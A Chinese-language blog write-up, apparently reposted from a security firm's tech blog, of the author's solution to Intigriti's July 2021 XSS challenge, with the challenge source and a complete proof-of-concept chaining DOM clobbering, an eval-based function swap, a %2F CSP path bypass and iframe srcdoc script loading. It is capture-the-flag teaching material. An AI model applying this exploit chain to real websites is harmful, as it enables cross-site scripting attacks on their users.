Intigriti 七月份 XSS 挑戰:突破層層關卡

(原文發佈於 Cymetrics Tech Blog:Intigriti 七月份 XSS 挑戰:突破層層關卡

前言

Intigriti 這個網站每個月都會有 XSS 挑戰,給你一週的時間去解一道 XSS 的題目,目標是成功執行 alert(document.domain)

身為一個前端資安混血工程師,我每個月都有參加(但不一定有解出來),底下是前幾個月的筆記:

  1. 解題心得:Intigriti’s 0421 XSS challenge(上)
  2. Intigriti’s 0521 XSS 挑戰解法:限定字元組合程式碼
  3. Intigriti 六月份 XSS 挑戰檢討

每個月的挑戰都相當有趣,我覺得難易度也掌握得不錯,沒有到超級無敵難,但也不會輕易到一下就被解開。而這個月的挑戰我也覺得很好玩,因此在解開之後寫了這篇心得跟大家分享,期待有越來越多人可以一起參與。

挑戰網址:https://challenge-0721.intigriti.io/

分析題目

仔細看一下會發現這次的挑戰其實比較複雜一點,因為有三個頁面跟一堆的 postMessage 還有 onmessage,要搞清楚他們的關係需要一些時間。

我看了一下之後因為懶得搞懂,所以決定從反方向開始解。如果是 XSS 題目,代表一定要有地方可以執行程式碼,通常都是 eval 或是 innerHTML,所以可以先找到這邊,再往回推該如何抵達。

接下來就來簡單看一下那三個頁面:

  1. index.html
  2. htmledit.php
  3. console.php

index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<div class="card-container">
<div class="card-header-small">Your payloads:</div>
<div class="card-content">
<script>
// redirect all htmledit messages to the console
onmessage = e =>{
if (e.data.fromIframe){
frames[0].postMessage({cmd:"log",message:e.data.fromIframe}, '*');
}
}
/*
var DEV = true;
var store = {
users: {
admin: {
username: 'inti',
password: 'griti'
}, moderator: {
username: 'root',
password: 'toor'
}, manager: {
username: 'andrew',
password: 'hunter2'
},
}
}
*/
</script>

<div class="editor">
<span id="bin">
<a onclick="frames[0].postMessage({cmd:'clear'},'*')">🗑️</a>
</span>
<iframe class=console src="./console.php"></iframe>
<iframe class=codeFrame src="./htmledit.php?code=<img src=x>"></iframe>
<textarea oninput="this.previousElementSibling.src='./htmledit.php?code='+escape(this.value)"><img src=x></textarea>
</div>
</div>
</div>

除了被註解的那一段變數之外,看起來沒什麼特別的。

htmledit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!-- &lt;img src=x&gt; -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Native HTML editor</title>
<script nonce="d8f00e6635e69bafbf1210ff32f96bdb">
window.addEventListener('error', function(e){
let obj = {type:'err'};
if (e.message){
obj.text = e.message;
} else {
obj.text = `Exception called on ${e.target.outerHTML}`;
}
top.postMessage({fromIframe:obj}, '*');
}, true);
onmessage=(e)=>{
top.postMessage({fromIframe:e.data}, '*')
}
</script>
</head>
<body>
<img src=x></body>
</html>
<!-- /* Page loaded in 0.000024 seconds */ -->

這個頁面會直接把 query string code 的內容顯示在頁面上,然後開頭還有一段神秘的註解,是把 code encode 之後的內容。但儘管顯示在頁面上卻沒辦法執行,因為有著嚴格的 CSP:script-src 'nonce-...';frame-src https:;object-src 'none';base-uri 'none';

不過 CSP 裡面特別開了 frame-src,我看到這邊的時候想說:「這可能是個提示,提示我們要用 iframe」

console.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<script nonce="c4936ad76292ee7100ecb9d72054e71f">
name = 'Console'
document.title = name;
if (top === window){
document.head.parentNode.remove(); // hide code if not on iframe
}
</script>
<style>
body, ul {
margin:0;
padding:0;
}

ul#console {
background: lightyellow;
list-style-type: none;
font-family: 'Roboto Mono', monospace;
font-size: 14px;
line-height: 25px;
}

ul#console li {
border-bottom: solid 1px #80808038;
padding-left: 5px;

}
</style>
</head>
<body>
<ul id="console"></ul>
<script nonce="c4936ad76292ee7100ecb9d72054e71f">
let a = (s) => s.anchor(s);
let s = (s) => s.normalize('NFC');
let u = (s) => unescape(s);
let t = (s) => s.toString(0x16);
let parse = (e) => (typeof e === 'string') ? s(e) : JSON.stringify(e, null, 4); // make object look like string
let log = (prefix, data, type='info', safe=false) => {
let line = document.createElement("li");
let prefix_tag = document.createElement("span");
let text_tag = document.createElement("span");
switch (type){
case 'info':{
line.style.backgroundColor = 'lightcyan';
break;
}
case 'success':{
line.style.backgroundColor = 'lightgreen';
break;
}
case 'warn':{
line.style.backgroundColor = 'lightyellow';
break;
}
case 'err':{
line.style.backgroundColor = 'lightpink';
break;
}
default:{
line.style.backgroundColor = 'lightcyan';
}
}

data = parse(data);
if (!safe){
data = data.replace(/</g, '&lt;');
}

prefix_tag.innerHTML = prefix;
text_tag.innerHTML = data;

line.appendChild(prefix_tag);
line.appendChild(text_tag);
document.querySelector('#console').appendChild(line);
}

log('Connection status: ', window.navigator.onLine?"Online":"Offline")
onmessage = e => {
switch (e.data.cmd) {
case "log": {
log("[log]: ", e.data.message.text, type=e.data.message.type);
break;
}
case "anchor": {
log("[anchor]: ", s(a(u(e.data.message))), type='info')
break;
}
case "clear": {
document.querySelector('#console').innerHTML = "";
break;
}
default: {
log("[???]: ", `Wrong command received: "${e.data.cmd}"`)
}
}
}
</script>
<script nonce="c4936ad76292ee7100ecb9d72054e71f">
try {
if (!top.DEV)
throw new Error('Production build!');

let checkCredentials = (username, password) => {
try{
let users = top.store.users;
let access = [users.admin, users.moderator, users.manager];
if (!users || !password) return false;
for (x of access) {
if (x.username === username && x.password === password)
return true
}
} catch {
return false
}
return false
}

let _onmessage = onmessage;
onmessage = e => {
let m = e.data;
if (!m.credentials || !checkCredentials(m.credentials.username, m.credentials.password)) {
return; // do nothing if unauthorized
}

switch(m.cmd){
case "ping": { // check the connection
e.source.postMessage({message:'pong'},'*');
break;
}
case "logv": { // display variable's value by its name
log("[logv]: ", window[m.message], safe=false, type='info');
break;
}
case "compare": { // compare variable's value to a given one
log("[compare]: ", (window[m.message.variable] === m.message.value), safe=true, type='info');
break;
}
case "reassign": { // change variable's value
let o = m.message;
try {
let RegExp = /^[s-zA-Z-+0-9]+$/;
if (!RegExp.test(o.a) || !RegExp.test(o.b)) {
throw new Error('Invalid input given!');
}
eval(`${o.a}=${o.b}`);
log("[reassign]: ", `Value of "${o.a}" was changed to "${o.b}"`, type='warn');
} catch (err) {
log("[reassign]: ", `Error changing value (${err.message})`, type='err');
}
break;
}
default: {
_onmessage(e); // keep default functions
}
}
}
} catch {
// hide this script on production
document.currentScript.remove();
}
</script>
<script src="./analytics/main.js?t=1627610836"></script>
</body>
</html>

這個頁面的程式碼比其他兩頁多很多,而且可以找到一些我們需要的東西,比如說 eval

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
let _onmessage = onmessage;
onmessage = e => {
let m = e.data;
if (!m.credentials || !checkCredentials(m.credentials.username, m.credentials.password)) {
return; // do nothing if unauthorized
}

switch(m.cmd){
// ...
case "reassign": { // change variable's value
let o = m.message;
try {
let RegExp = /^[s-zA-Z-+0-9]+$/;
if (!RegExp.test(o.a) || !RegExp.test(o.b)) {
throw new Error('Invalid input given!');
}
eval(`${o.a}=${o.b}`);
log("[reassign]: ", `Value of "${o.a}" was changed to "${o.b}"`, type='warn');
} catch (err) {
log("[reassign]: ", `Error changing value (${err.message})`, type='err');
}
break;
}
default: {
_onmessage(e); // keep default functions
}
}
}

但這邊的 eval 似乎沒辦法讓我們直接執行想要的程式碼,因為規範滿嚴格的(大寫字母、部分小寫字母、數字跟 +-),可能是有其他用途。

另外一個有機會的地方是這裡:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
let log = (prefix, data, type='info', safe=false) => {
let line = document.createElement("li");
let prefix_tag = document.createElement("span");
let text_tag = document.createElement("span");
switch (type){
// not important
}

data = parse(data);
if (!safe){
data = data.replace(/</g, '&lt;');
}

prefix_tag.innerHTML = prefix;
text_tag.innerHTML = data;

line.appendChild(prefix_tag);
line.appendChild(text_tag);
document.querySelector('#console').appendChild(line);
}

如果 safe 是 true 的話,那 data 就不會被 escape,就可以插入任意的 HTML,達成 XSS。

而這邊值得注意的是函式的參數那一段:let log = (prefix, data, type='info', safe=false),這點值得特別解釋一下。

在有些程式語言裡面,支援這種參數的命名,在呼叫 function 的時候可以用名稱來傳入參數,例如說:log(prefix='a', safe=true),就傳入對應到的參數。

但是在 JS 裡面並沒有這種東西,參數的對應完全是靠「順序」來決定的。舉例來說,log("[logv]: ", window[m.message], safe=false, type='info'); 對應到的參數其實是:

  1. prefix: "[logv]: "
  2. data: window[m.message]
  3. type: false
  4. safe: 'info'

是靠順序而不是靠名稱,這也是許多新手會被搞混的地方。

總之呢,就讓我們從 log 這個函式開始往回找吧,要執行到這一段,必須要 post message 到這個 window,然後符合一些條件。

第一關:成功 post message

這個 console.php 的頁面有一些條件限制,如果沒有符合這些條件就沒辦法執行到 log function 去。

首先這個頁面必須被 embed 在 iframe 裡面:

1
2
3
4
5
name = 'Console'
document.title = name;
if (top === window){
document.head.parentNode.remove(); // hide code if not on iframe
}

再來還有這些檢查要通過:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
try {
if (!top.DEV)
throw new Error('Production build!');

let checkCredentials = (username, password) => {
try{
let users = top.store.users;
let access = [users.admin, users.moderator, users.manager];
if (!users || !password) return false;
for (x of access) {
if (x.username === username && x.password === password)
return true
}
} catch {
return false
}
return false
}

let _onmessage = onmessage;
onmessage = e => {
let m = e.data;
if (!m.credentials || !checkCredentials(m.credentials.username, m.credentials.password)) {
return; // do nothing if unauthorized
}
// ...
}
} catch {
// hide this script on production
document.currentScript.remove();
}

top.DEV 要是 truthy,然後傳進去的 credentials 要符合 top.store.users.admin.username 還有 top.store.users.admin.password

這樣我應該自己寫一個頁面,然後設置一下這些全域變數就好了?

沒辦法,因為有 Same Origin Policy 的存在,你只能存取同源頁面下的 window 內容,所以如果是自己寫一個頁面然後把 console.php embed 在裡面的話,在存取 top.DEV 時就會出錯。

所以我們需要有一個同源的頁面可以讓我們設置一些東西。而這個頁面,顯然就是可以讓我們插入一些 HTML 的 htmledit.php 了。

DOM clobbering

該怎麼在不能執行 JS 的情況下設置全域變數呢?沒錯,就是 DOM clobbering。

舉例來說,如果你有個 <div id="a"></div>,在 JS 裡面你就可以用 window.a 或是 a 去存取到這個 div 的 DOM。

如果你對 DOM clobbering 不熟的話可以參考我之前寫過的淺談 DOM Clobbering 的原理及應用,或是這一篇也寫得很好:使用 Dom Clobbering 扩展 XSS

如果要達成多層的變數設置,就要利用到 iframe 搭配 srcdoc

1
2
3
4
5
6
7
<a id="DEV"></a>
<iframe name="store" srcdoc='
<a id="users"></a>
<a id="users" name="admin" href="ftp://a:[email protected]"></a>
'>
</iframe>
<iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>

這邊還有利用到一個特性是 a 元素的 username 屬性會是 href 屬性裡 URL 的 username。

這樣設置的話,top.DEV 就會是 a id="DEV"></a> 這個 DOM,而 store.users 就會是 HTMLCollection,store.users.admin 是那個 a,store.users.admin.username 則會是 href 裡面的 username,也就是 a,而密碼也是一樣的。

綜合以上所述,我可以自己寫一個 HTML 然後用 window.open 去開啟 htmledit.php 然後把上面的內容帶進去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<!DOCTYPE html>

<html lang="en">
<head>
<meta charset="utf-8">
<title>XSS POC</title>
</head>
<body>
<script>
const htmlUrl = 'https://challenge-0721.intigriti.io/htmledit.php?code='
const payload = `
<a id="DEV"></a>
<iframe name="store" srcdoc='
<a id="users"></a>
<a id="users" name="admin" href="ftp://a:[email protected]"></a>
'></iframe>
<iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>
`

var win = window.open(htmlUrl + encodeURIComponent(payload))

// wait unitl window loaded
setTimeout(() => {
console.log('go')
const credentials = {
username: 'a',
password: 'a'
}
win.frames[1].postMessage({
cmd: 'test',
credentials
}, '*')
}, 5000)

</script>
</body>
</html>

如此一來,我就可以用 postMessage 送訊息進去了。

雖然花了一番功夫,但這才只是開始而已。

第二關:讓 safe 變成 true

safe 要是 true,這樣呼叫 log 的時候才不會把 < escape,要讓 safe 是 true 的話,要找到有傳入四個參數的呼叫,因為第四個會是 safe 的值:

1
2
3
4
5
6
7
8
case "logv": { // display variable's value by its name
log("[logv]: ", window[m.message], safe=false, type='info');
break;
}
case "compare": { // compare variable's value to a given one
log("[compare]: ", (window[m.message.variable] === m.message.value), safe=true, type='info');
break;
}

log("[logv]: ", window[m.message], safe=false, type='info') 這個我在找的 function call,而這之中第二個參數會是 window[m.message],也就是說可以把任一全域變數當作 data 傳進去,可是要傳什麼呢?

第三關:找到可以傳入的變數

我在這邊卡得滿久的,因為我想不太到這邊可以傳什麼。以前有一招是可以傳 name,但是這個網頁已經自己設定 name 了所以沒辦法。另一招是用 URL 去傳就可以把東西放在 location 上面,但 log 裡面會檢查 data 是不是字串,不是的話要先經過 JSON.stringify,會把內容encode。

卡很久的我只好不斷重複看著程式碼,看能不能找出什麼新東西,結果還真的找到了。下面這段 code 有一個新手常見問題,你有看出來嗎?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
let checkCredentials = (username, password) => {
try{
let users = top.store.users;
let access = [users.admin, users.moderator, users.manager];
if (!users || !password) return false;
for (x of access) {
if (x.username === username && x.password === password)
return true
}
} catch {
return false
}
return false
}

這個問題就出在 for (x of access) {,x 忘了宣告,所以預設就會變成全域變數。在這邊的話,x 會是 top.store.users.admin,也就是我們自己設置的那個 <a>

第四關:繞過型態檢查

既然我們有了這個 x,就可以把它用 logv 這個 command 傳入 log function,然後因為 safe 會是 true,所以就可以直接把 x 的內容用 innerHTML 顯示出來。

如果你把一個 a 元素變成字串,會得到 a.href 的內容,所以我們可以把我們的 payload 放在 href 裡面。

但是,log 裡面會檢查 data 的型態,而 a 不是字串所以過不了檢查,這該怎麼辦呢?

這時候我重新看了一遍程式碼,發現了這個指令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
case "reassign": { // change variable's value
let o = m.message;
try {
let RegExp = /^[s-zA-Z-+0-9]+$/;
if (!RegExp.test(o.a) || !RegExp.test(o.b)) {
throw new Error('Invalid input given!');
}
eval(`${o.a}=${o.b}`);
log("[reassign]: ", `Value of "${o.a}" was changed to "${o.b}"`, type='warn');
} catch (err) {
log("[reassign]: ", `Error changing value (${err.message})`, type='err');
}
break;
}

我可以這樣做:

1
2
3
4
5
6
7
8
win.frames[1].postMessage({
cmd: 'reassign',
message:{
a: 'Z',
b: 'x+1'
},
credentials
}, '*')

這就等於是 Z=x+1,然後 x+1 的時候會因為自動轉型的關係變成字串,這樣一來 Z 就會是一個含有我們 payload 的字串了。

第五關:繞過 encode

雖然我們現在可以傳字串進去了,但還有一件事情要搞定,那就是因為 href 裡面的東西是 URL 所以會被 encode,例如說 < 會變成 %3C

1
2
3
4
var a = document.createElement('a')
a.setAttribute('href', 'ftp://a:[email protected]#<img src=x onload=alert(1)>')
console.log(a+1)
// ftp://a:[email protected]/#%3Cimg%20src=x%20onload=alert(1)%3E1

這又要怎麼辦呢?

log 裡面有一行是 data = parse(data),而 parse 的程式碼是這樣的:

1
let parse = (e) => (typeof e === 'string') ? s(e) : JSON.stringify(e, null, 4); // make object look like string

如果 e 是字串,那就回傳 s(e),而這個 s 是另外一個函式。

當初在看程式碼的時候,我看到 reassign 那邊對於 eval 的檢查時,就注意到了它的規則:RegExp = /^[s-zA-Z-+0-9]+$/;,還有底下這四個函式:

1
2
3
4
let a = (s) => s.anchor(s);
let s = (s) => s.normalize('NFC');
let u = (s) => unescape(s);
let t = (s) => s.toString(0x16);

其中 s, u 跟 t 這三個字元都是允許的,也就是說,可以透過 reassign 這個指令把他們互換!我們可以把 s 換成 u,這樣 data 就會被 unescape 了!

所以最後的程式碼會長這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
const htmlUrl = 'https://challenge-0721.intigriti.io/htmledit.php?code='
const insertPayload=`<img src=x onerror=alert(1)>`
const payload = `
<a id="DEV"></a>
<iframe name="store" srcdoc='
<a id="users"></a>
<a id="users" name="admin" href="ftp://a:[email protected]#${escape(insertPayload)}"></a>
'></iframe>
<iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>
`

var win = window.open(htmlUrl + encodeURIComponent(payload))

// 等待 window 載入完成
setTimeout(() => {
console.log('go')
const credentials = {
username: 'a',
password: 'a'
}
// s=u
win.frames[1].postMessage({
cmd: 'reassign',
message:{
a: 's',
b: 'u'
},
credentials
}, '*')

// Z=x+1 so Z = x.href + 1
win.frames[1].postMessage({
cmd: 'reassign',
message:{
a: 'Z',
b: 'x+1'
},
credentials
}, '*')

// log window[Z]
win.frames[1].postMessage({
cmd: 'logv',
message: 'Z',
credentials
}, '*')
}, 5000)

所以 data 會是 ftp://a:[email protected]#<img src=x onerror=alert(1)>,然後被設定到 HTML 上面,觸發 XSS!

不,事情沒那麼順利…我忘記有 CSP 了。

第六關:繞過 CSP

雖然我可以插入任意 HTML,但很遺憾地這個網頁也有 CSP:

1
2
3
4
5
6
7
8
script-src 
'nonce-xxx'
https://challenge-0721.intigriti.io/analytics/
'unsafe-eval';

frame-src https:;

object-src 'none';base-uri 'none';

因為沒有 unsafe-inline,所以我們之前的 payload 是無效的。而這一段 CSP 當中,https://challenge-0721.intigriti.io/analytics/ 顯然是個很可疑的路徑。

這個頁面其實有引入一個 https://challenge-0721.intigriti.io/analytics/main.js 的檔案,但裡面沒有東西,只有一些註解而已。

其實看到這邊的時候我就知道要怎麼做了,因為我之前有學到一個繞過 CSP 的技巧,利用%2F(編碼過後的 /)以及前後端對於 URL 解析的不一致。

https://challenge-0721.intigriti.io/analytics/..%2fhtmledit.php 為例,對瀏覽器來說,這個 URL 是在 /analytics 底下,所以可以通過 CSP 的檢查。

但是對伺服器來說,這一段是 https://challenge-0721.intigriti.io/analytics/../htmledit.php 也就是 https://challenge-0721.intigriti.io/htmledit.php

所以我們成功繞過了 CSP,載入不同路徑的檔案!

因此現在的目標就變成我們要找一個檔案裡面可以讓我們放 JS 程式碼。看來看去都只有 htmledit.php 能用,但它不是一個 HTML 嗎?

第七關:構造 JS 程式碼

如果你還記得的話,這個頁面的開頭有一段是 HTML 的註解:

1
2
<!-- &lt;img src=x&gt; -->
....

而在一些情況下,其實這語法也是 JS 的註解。不是我說的,是規格書說的:

ECMAScript spec

換句話說呢,我們可以利用這點,做出一個看起來像 HTML,但實際上也是合法 JS 的檔案!

我最後做出來的 URL 是這樣:https://challenge-0721.intigriti.io/htmledit.php?code=1;%0atop.alert(document.domain);/*

產生的 HTML 長這樣:

1
2
3
4
5
6
<!-- 1; 這邊都是註解
top.alert(document.domain);/* --> 這之後也都是註解了
<!DOCTYPE html>
<html lang="en">
<head>
...

第一行是註解,/* 之後也都是註解,所以這一整段其實就是 top.alert(document.domain); 的意思。

不過這邊可以注意的是 htmledit.php 的 content type 不會變,依然還是 text/html,之所以可以把它當作 JS 引入,是因為同源的關係。如果你是把一個不同源的 HTML 當作 JS 引入,就會被 CORB 給擋下來。

做到這邊,我們就可以讓 data 是 <script src="https://challenge-0721.intigriti.io/htmledit.php?code=1;%0atop.alert(document.domain);/*"></script>

這樣就會執行到 text_tag.innerHTML = data,成功在頁面上放進去 script 還繞過了 CSP,完美!

但可惜的是,還差一點點…

第八關:執行動態插入的 script

就在我以為要過關的時候,卻發現我的 script 怎樣都不會執行。後來用關鍵字去查,才發現如果是用 innerHTML 插入 script 標籤,插入之後是不會去執行的。

我試著用 innerhtml import script 或是 innerhtml script run 之類的關鍵字去找解法但都沒找到。

最後,我是突然想到可以試試看 <iframe srcdoc="...">,有種死馬當活馬醫的感覺,反正就試試看這樣行不行,沒有損失。

結果沒想到就可以了。直接 assign 給 innerHTML 不行,但如果內容是:<iframe srcdoc="<script src='...'></script>" 就可以,就會直接載入 script。

最後解法

最後再補充一件事情,我要送出答案之前發現我的答案在 Firefox 上面不能跑,原因是這段程式碼:

1
2
<a id="users"></a>
<a id="users" name="admin" href="a"></a>

在 Chrome 上 window.users 會是 HTMLCollection,但在 Firefox 上面只會拿到一個 a 元素,而 window.users.admin 也就是 undefined。

但這問題不大,只要多一層 iframe 就可以搞定:

1
2
3
4
<iframe name="store" srcdoc="
<iframe srcdoc='<a id=admin href=ftp://a:[email protected]#></a>' name=users>
">
</iframe>

我最後的答案長這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<!DOCTYPE html>

<html lang="en">
<head>
<meta charset="utf-8">
<title>XSS POC</title>
</head>

<body>
<script>
const htmlUrl = 'https://challenge-0721.intigriti.io/htmledit.php?code='
const exploitSrc = '/analytics/..%2fhtmledit.php?code=1;%0atop.alert(document.domain);/*'
const insertPayload=`<iframe srcdoc="<script src=${exploitSrc}><\/script>">`
const payload = `
<a id="DEV"></a>
<iframe name="store" srcdoc="
<iframe srcdoc='<a id=admin href=ftp://a:[email protected]#${escape(insertPayload)}></a>' name=users>
">
</iframe>
<iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>
`
var win = window.open(htmlUrl + encodeURIComponent(payload))

// wait for 3s to let window loaded
setTimeout(() => {
const credentials = {
username: 'a',
password: 'a'
}
win.frames[1].postMessage({
cmd: 'reassign',
message:{
a: 's',
b: 'u'
},
credentials
}, '*')

win.frames[1].postMessage({
cmd: 'reassign',
message:{
a: 'Z',
b: 'x+1'
},
credentials
}, '*')

win.frames[1].postMessage({
cmd: 'logv',
message: 'Z',
credentials
}, '*')
}, 3000)

</script>
</body>
</html>

其他解法

我的方法是新開一個 window 來 post message,但其實也可以把自己作為 iframe,讓 htmledit.php embed,這樣的話其實也可以用 top.postMessage 去傳送訊息。

「把自己 embed 在其他網頁中」這個是我很常忘記的一個方法。

另一個非預期的解法也很神奇,是根據這一段:

1
2
3
4
case "log": {
log("[log]: ", e.data.message.text, type=e.data.message.type);
break;
}

這一段的重點是 type=e.data.message.type,會設置一個 global variable 叫做 type,因此其實可以透過這邊傳入任意 payload,再去呼叫 logv 就好。就省去了把 payload 放在 a 上面那一大堆要處理的事情。

總結

我滿喜歡這次的這個題目,因為有種層層關卡的感覺,一關一關慢慢過,每當我以為要破關的時候,就又卡住了,直到最後才把所有關卡都解完,成功執行 XSS。

從這個挑戰中,可以學習到的前端知識是:

  1. DOM clobbering
  2. JS 的註解不是只有 // 跟 /* */
  3. CSP 針對 path 的繞過
  4. 用 innerHTML 新增的 script 不會執行
  5. 針對上一點,可以用 iframe srcdoc 來繞過(但一般狀況下應該新增一個 script tag 然後 append)

從這個題目中可以學習或是複習滿多技巧的,CTF 跟這種挑戰有趣的點就在這邊,雖然說每樣東西拆開來可能都知道,但要怎麼精心串起來,是很考驗經驗跟功力的。

如果對 XSS 挑戰有興趣,可以關注 Intigriti 並且等待下一次的挑戰。

從 cdnjs 的漏洞來看前端的供應鏈攻擊與防禦 利用 Cookie 特性進行的 DoS 攻擊:Cookie 炸彈

評論

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×